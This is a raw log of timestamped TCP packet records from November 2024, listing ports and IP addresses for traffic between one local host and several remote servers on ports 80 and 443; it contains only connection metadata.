Nov 22, 2024 14:43:56.039485931 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.039911032 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.040034056 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.040792942 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.040805101 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.040841103 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.040855885 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.041775942 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.041860104 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.042148113 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.042195082 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.043000937 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.043097973 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.043154955 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.044154882 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.044559956 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.044616938 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.045212030 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.045592070 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.045635939 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.046448946 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.046473980 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.046525002 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.047624111 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.047678947 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.047692060 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.047724009 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.048644066 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.048705101 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.048995018 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.049051046 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.049765110 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.049917936 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.049966097 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.050903082 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.050952911 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.051007986 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.051106930 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.052143097 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.052191019 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.052232981 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.052278042 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.053225040 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.053256989 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.053277016 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.053303003 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.054359913 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.054409027 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.054462910 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.054507017 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.055803061 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.055860996 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.055915117 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.055963039 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.056807041 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.056823015 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.056859016 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.056879044 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.057858944 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.057907104 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.057915926 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.057945967 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.058995008 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.059045076 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.059046984 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.059082985 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.060133934 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.060184002 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.060229063 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.060270071 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.060432911 CET	443	49886	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:56.060497046 CET	443	49886	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:56.060564995 CET	49886	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:56.060816050 CET	49886	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:56.060816050 CET	49886	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:56.060827017 CET	443	49886	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:56.060837030 CET	443	49886	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:56.061342955 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.061404943 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.061458111 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.061510086 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.062416077 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.062484980 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.062536001 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.063559055 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.063637972 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.063776970 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.063822031 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.064301014 CET	49893	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:56.064318895 CET	443	49893	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:56.064387083 CET	49893	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:56.064532995 CET	49893	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:56.064542055 CET	443	49893	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:56.064836025 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.064893007 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.065129042 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.065176964 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.065790892 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.065848112 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.089946032 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.089973927 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.089982986 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.090001106 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.090009928 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.090018988 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.090044022 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.090059996 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.090100050 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.090117931 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.098531961 CET	49894	443	192.168.2.6	23.200.88.22
Nov 22, 2024 14:43:56.098551035 CET	443	49894	23.200.88.22	192.168.2.6
Nov 22, 2024 14:43:56.098731041 CET	49894	443	192.168.2.6	23.200.88.22
Nov 22, 2024 14:43:56.099486113 CET	49895	443	192.168.2.6	23.200.88.22
Nov 22, 2024 14:43:56.099523067 CET	443	49895	23.200.88.22	192.168.2.6
Nov 22, 2024 14:43:56.099577904 CET	49895	443	192.168.2.6	23.200.88.22
Nov 22, 2024 14:43:56.100033045 CET	49894	443	192.168.2.6	23.200.88.22
Nov 22, 2024 14:43:56.100043058 CET	443	49894	23.200.88.22	192.168.2.6
Nov 22, 2024 14:43:56.100502014 CET	49895	443	192.168.2.6	23.200.88.22
Nov 22, 2024 14:43:56.100521088 CET	443	49895	23.200.88.22	192.168.2.6
Nov 22, 2024 14:43:56.177083969 CET	443	49887	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:56.177159071 CET	443	49887	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:56.177369118 CET	49887	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:56.177619934 CET	49887	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:56.177640915 CET	443	49887	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:56.177653074 CET	49887	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:56.177659035 CET	443	49887	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:56.180701971 CET	49896	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:56.180747986 CET	443	49896	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:56.180907965 CET	49896	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:56.181078911 CET	49896	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:56.181097984 CET	443	49896	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:56.202682972 CET	443	49888	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:56.202755928 CET	443	49888	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:56.202966928 CET	49888	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:56.203149080 CET	49888	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:56.203162909 CET	443	49888	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:56.203172922 CET	49888	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:56.203181028 CET	443	49888	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:56.204329014 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.204401016 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.204406977 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.204448938 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.204976082 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.204993010 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.205037117 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.205058098 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.206085920 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.206140041 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.206229925 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.206289053 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.206957102 CET	49897	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:56.207000017 CET	443	49897	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:56.207233906 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.207250118 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.207323074 CET	49897	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:56.207820892 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.208072901 CET	49897	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:56.208086967 CET	443	49897	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:56.208303928 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.208353996 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.209456921 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.209470034 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.209511995 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.209553957 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.209774971 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.210571051 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.210628033 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.210829020 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.210926056 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.211740971 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.211796045 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.212877035 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.212891102 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.212933064 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.212946892 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.212973118 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.213013887 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.214018106 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.214030981 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.214077950 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.215218067 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.215234041 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.215269089 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.215286016 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.216226101 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.216274023 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.217366934 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.217380047 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.217401981 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.217425108 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.217456102 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.218610048 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.218838930 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.218974113 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.219022036 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.219763994 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.219870090 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.220124960 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.220169067 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.220834017 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.220891953 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.220937967 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.221107960 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.221925974 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.221982956 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.222008944 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.222033024 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.223134041 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.223159075 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.223185062 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.223201036 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.224179029 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.224239111 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.224303007 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.224360943 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.225323915 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.225392103 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.225435019 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.225780964 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.226500988 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.226551056 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.227360964 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.227407932 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.227617979 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.227629900 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.227663994 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.227679968 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.228842020 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.228910923 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.229767084 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.229855061 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.229868889 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.229880095 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.229903936 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.229926109 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.230993986 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.231050968 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.232215881 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.232228041 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.232234955 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.232317924 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.233323097 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.233334064 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.233397961 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.234476089 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.234540939 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.234658003 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.234865904 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.235568047 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.235613108 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.236466885 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.236505985 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.236668110 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.236700058 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.236707926 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.236733913 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.237818003 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.237932920 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.238107920 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.238161087 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.239012957 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.239025116 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.239068985 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.239085913 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.240140915 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.240195990 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.240420103 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.241209984 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.241246939 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.241257906 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.241285086 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.242499113 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.242511988 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.242539883 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.242562056 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.243464947 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.243531942 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.244010925 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.244062901 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.244560003 CET	443	49889	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:56.244606972 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.244645119 CET	443	49889	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:56.244661093 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.244702101 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.244739056 CET	49889	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:56.244740009 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.245179892 CET	49889	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:56.245179892 CET	49889	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:56.245202065 CET	443	49889	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:56.245212078 CET	443	49889	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:56.245767117 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.245945930 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.246274948 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.246316910 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.246906996 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.247010946 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.247055054 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.248018026 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.248090029 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.249125004 CET	49898	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:56.249162912 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.249175072 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.249228001 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.249233961 CET	443	49898	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:56.249270916 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.249336958 CET	49898	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:56.249491930 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.249500036 CET	49898	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:56.249531984 CET	443	49898	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:56.250360966 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.250372887 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.250408888 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.250426054 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.251461029 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.251473904 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.251533985 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.252604008 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.252669096 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.252754927 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.252799988 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.253654003 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.253700018 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.254256964 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.254309893 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.254868984 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.254966974 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.255192995 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.255759954 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.256021023 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.256033897 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.256064892 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.256082058 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.257107019 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.257119894 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.257165909 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.258213043 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.258240938 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.258279085 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.259362936 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.259458065 CET	80	49819	185.215.113.206	192.168.2.6
